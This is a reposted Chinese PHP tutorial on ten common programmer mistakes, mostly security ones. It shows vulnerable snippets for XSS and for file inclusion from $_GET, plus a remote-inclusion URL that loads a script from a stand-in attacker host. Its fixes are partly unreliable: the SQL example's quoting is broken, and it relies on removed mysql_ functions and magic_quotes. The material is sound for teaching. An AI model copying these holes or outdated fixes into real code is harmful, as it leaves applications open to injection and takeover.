警惕 PHP程式員最易犯10種錯誤_PHP教程

來源:互聯網
上載者:User
PHP是個偉大的web開發語言,靈活的語言,但是看到php程式員周而復始的犯的一些錯誤。我做了下面這個列表,列出了PHP程式員經常犯的10中錯誤,大多數和安全相關。看看你犯了幾種:

1.不轉意html entities

一個基本的常識:所有不可信任的輸入(特別是使用者從form中提交的資料) ,輸出之前都要轉意。

 
  1. echo $_GET['usename'] ;

這個例子有可能輸出:

這是一個明顯的安全隱患,除非你保證你的使用者都正確的輸入。

如何修複:

我們需要將”< “,”>”,”and”等轉換成正確的HTML表示(<, >’, and “),函數htmlspecialchars 和htmlentities()正是幹這個活的。

正確的方法:

 
  1. echo htmlspecialchars($_GET['username'], ENT_QUOTES);

2. 不轉意SQL輸入

我曾經在一篇文章中最簡單的防止sql注入的方法(php+mysql中)討論過這個問題並給出了一個簡單的方法。有人對我說,他們已經在php.ini中將magic_quotes設定為On,所以不必擔心這個問題,但是不是所有的輸入都是從$_GET, $_POST或 $_COOKIE中的得到的!

如何修複:和在最簡單的防止sql注入的方法(php+mysql中)中一樣我還是推薦使用mysql_real_escape_string()函數

正確做法:

 
  1. $sql = “UPDATE users SET
  2. name=’.mysql_real_escape_string($name).’
  3. WHERE id=’.mysql_real_escape_string ($id).’”;
  4. mysql_query($sql);
  5. ?>

3.錯誤的使用HTTP-header 相關的函數:header(), session_start(), setcookie()

遇到過這個警告嗎?”warning: Cannot addheader information - headers already sent [....]

每次從伺服器下載一個網頁的時候,伺服器的輸出都分成兩個部分:頭部和本文。

頭部包含了一些非可視的資料,例如cookie。頭部總是先到達。本文部分包括可視的html,圖片等資料。如果output_buffering設定為Off,所有的HTTP-header相關的函數必須在有輸出之前調用。問題在於你在一個環境中開發,而在部署到另一個環境中去的時候,output_buffering的設定可能不一樣。結果轉向停止了,cookie和session都沒有正確的設定……..。

如何修複:確保在輸出之前調用http-header相關的函數,並且令output_buffering = Off。

4. Require 或include 的檔案使用不安全的資料

再次強調:不要相信不是你自己顯式聲明的資料。不要 Include 或 require 從$_GET,$_POST 或 $_COOKIE 中得到的檔案。

例如:

 
  1. index.php
  2. //including header, config, database connection, etc
  3. include($_GET['filename']);
  4. //including footer
  5. ?>

現在任一個駭客現在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt來擷取你的機密資訊,或執行一個PHP指令碼。

如果allow_url_fopen=On,你更是死定了:

試試這個輸入:http://www.yourdomain.com/index. … n.com%2Fphphack.php

現在你的網頁中包含了http://www.youaredoomed.com/phphack.php的輸出. 駭客可以發送垃圾郵件,改變密碼,刪除檔案等等。只要你能想得到。

如何修複:你必須自己控制哪些檔案可以包含在的include或require指令中。

下面是一個快速但不全面的解決方案:

 
  1. //Include only files that are allowed.
  2. $allowedFiles = array(’file1.txt’,'file2.txt’,'file3.txt’);
  3. if(in_array((string)$_GET['filename'],$allowedFiles)) {
  4. include($_GET['filename']);
  5. }
  6. else{
  7. exit(’not allowed’);
  8. }
  9. ?>

5. 語法錯誤

語法錯誤包括所有的詞法和語法錯誤,太常見了,以至於我不得不在這裡列出。解決辦法就是認真學習PHP的文法,仔細一點不要漏掉一個括弧,大括弧,分號,引號。還有就是換個好的編輯器,就不要用記事本了!

6.很少使用或不用物件導向

很多的項目都沒有使用PHP的物件導向技術,結果就是代碼的維護變得非常耗時耗力。PHP支援的物件導向技術越來越多,越來越好,我們沒有理由不使用物件導向。

7. 不使用framework

95% 的PHP項目都在做同樣的四件事: Create, edit,list 和delete. 現在有很多MVC的架構來幫我們完成這四件事,我們為何不使用他們呢?

8. 不知道PHP中已經有的功能

PHP的核心包含很多功能。很多程式員重複的發明輪子。浪費了大量時間。編碼之前搜尋一下PHP mamual,在google上檢索一下,也許會有新的發現!PHP中的exec()是一個強大的函數,可以執行cmd shell,並把執行結果的最後一行以字串的形式返回。考慮到安全可以使用EscapeShellCmd()

9.使用舊版本的PHP

很多程式員還在使用PHP的老版本,老版本上開發不能充分發揮PHP的潛能,還存在一些安全的隱患。轉到新版本上來吧,並不費很多功夫。大部分PHP老版本程式只要改動很少的語句甚至無需改動就可以遷移到新版本上來。

10.對引號做兩次轉意

見過網頁中出現’或’”嗎?這通常是因為在開發人員的環境中magic_quotes設定為off,而在部署的伺服器上magic_quotes=on. PHP會在 GET, POST 和COOKIE中的資料上重複運行addslashes() 。

原始文本:It’s a string

magic quotes on:It’s a string

又運行一次

addslashes():It\’s a string

HTML輸出:It’s a string

還有一種情況就是,使用者一開始輸入了錯誤的登入資訊,伺服器檢測到錯誤輸入後,輸出同樣的form要求使用者再次輸入,導致使用者的輸入轉意兩次!


http://www.bkjia.com/PHPjc/445796.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/445796.htmlTechArticlePHP 是個偉大的web開發語言,靈活的語言,但是看到php程式員周而復始的犯的一些錯誤。我做了下面這個列表,列出了PHP程式員經常犯的10中...

  • 聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.